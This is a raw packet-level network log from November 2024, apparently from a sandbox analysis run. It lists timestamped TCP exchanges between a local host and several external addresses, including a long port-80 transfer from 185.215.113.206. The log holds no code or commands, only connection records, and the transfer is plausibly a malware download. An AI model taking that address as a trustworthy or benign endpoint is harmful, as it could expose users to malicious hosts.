Nov 17, 2024 01:38:16.572457075 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.572577000 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.572590113 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.572624922 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.572695017 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.572757006 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.572841883 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.572843075 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.572865963 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.572886944 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.574729919 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.574749947 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.574826956 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.574949980 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:16.574975967 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:16.937401056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:16.937475920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:16.938158989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:16.943027020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:17.292435884 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.301139116 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.323136091 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.323162079 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.333722115 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.333729982 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.344532967 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.356264114 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.356273890 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.357224941 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.357300043 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.386449099 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.386475086 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.386837959 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.399298906 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.399305105 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.438293934 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.469264030 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.469429970 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.469511032 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.470834017 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.470889091 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.470905066 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.471044064 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.478547096 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.478547096 CET	49726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.478574991 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.478588104 CET	443	49726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.495151043 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.495183945 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.495254040 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.495681047 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.495695114 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.498877048 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.499242067 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.499264956 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.499655008 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.499660969 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.507880926 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.510498047 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.510521889 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.511362076 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.512785912 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.512792110 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.586227894 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.586630106 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.586720943 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.586786032 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.586786032 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.586813927 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.586838961 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.589200020 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.589251995 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.589334011 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.589463949 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.589488983 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.626949072 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.627202034 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.627290010 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.627290964 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.627398014 CET	49727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.627434969 CET	443	49727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.630239964 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.630275965 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.630424976 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.630702972 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.630712032 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.638055086 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.638200998 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.638264894 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.638385057 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.638385057 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.638406038 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.638428926 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.640826941 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.640865088 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.640938997 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.641083956 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.641112089 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.683212042 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.683648109 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.683661938 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.684096098 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.684107065 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.720616102 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.721071959 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.721092939 CET	443	49725	40.115.3.253	192.168.2.6
Nov 17, 2024 01:38:17.721113920 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.721163988 CET	49725	443	192.168.2.6	40.115.3.253
Nov 17, 2024 01:38:17.790106058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:17.790163040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:17.790276051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:17.793118000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:17.819569111 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.819647074 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.819705009 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.819874048 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.819895029 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.819905043 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.819911003 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.822506905 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.822545052 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.822618008 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.822771072 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:17.822791100 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:17.948352098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:17.948396921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:17.948431969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:17.948486090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:17.948528051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:17.969623089 CET	49673	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:17.969621897 CET	49674	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:18.106635094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.106668949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.106703997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.106723070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.106739044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.106759071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.106771946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.106794119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.106801987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.106834888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.259584904 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.260221958 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.260237932 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.260838032 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.260842085 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.265041113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265072107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265129089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265167952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265172005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265208006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265237093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265243053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265258074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265300989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265562057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265595913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265629053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265630960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265652895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265686035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.265894890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.265957117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.282071114 CET	49672	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:18.330724001 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.331206083 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.331259012 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.331793070 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.331806898 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.387521982 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.388052940 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.388073921 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.388617039 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.388628960 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.390928030 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.391195059 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.391207933 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.392976046 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.392982006 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.398032904 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.398188114 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.398257971 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.398350000 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.398364067 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.398374081 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.398379087 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.401356936 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.401391983 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.401473999 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.401654959 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.401662111 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.423657894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.423703909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.423729897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.423765898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.423870087 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.423918962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.423926115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.423960924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.423971891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.424010992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.424015045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.424050093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.424057007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.424094915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.424592972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.424628019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.424665928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.424685955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.461894989 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.462030888 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.462094069 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.462191105 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.462220907 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.462248087 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.462265015 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.465352058 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.465451002 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.465553999 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.465719938 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.465749979 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.522747993 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.522825956 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.522890091 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.523102045 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.523124933 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.523149014 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.523161888 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.524333954 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.524707079 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.524763107 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.524837017 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.524837017 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.524853945 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.524863958 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.526566982 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.526602030 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.526685953 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.526842117 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.526860952 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.527043104 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.527072906 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.527132034 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.527286053 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.527301073 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.569607019 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.570341110 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.570355892 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.570871115 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.570875883 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.582164049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582201958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582261086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.582290888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.582304955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582340956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582355022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.582408905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.582412004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582446098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582461119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.582482100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.582498074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.582531929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.583065033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.583120108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.583127975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.583156109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.583172083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.583206892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.583228111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.583261967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.583281040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.583304882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.701453924 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.701543093 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.701677084 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.702045918 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.702060938 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.702079058 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.702085018 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.707187891 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.707214117 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.707285881 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.707638979 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:18.707653046 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:18.740339994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740410089 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740430117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740463972 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740475893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740502119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740506887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740545034 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740611076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740647078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740658998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740683079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740690947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740730047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.740950108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.740984917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741004944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741022110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741024017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741058111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741064072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741152048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741455078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741508007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741513014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741548061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741559029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741581917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.741594076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.741627932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.898709059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.898746967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.898824930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.898835897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.898860931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.898871899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.898871899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.898897886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.898906946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.898936987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.898945093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.898988962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899374962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899410963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899431944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899447918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899454117 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899483919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899502039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899538040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899795055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899830103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899852037 CET	49714	80	192.168.2.6	185.215.113.206
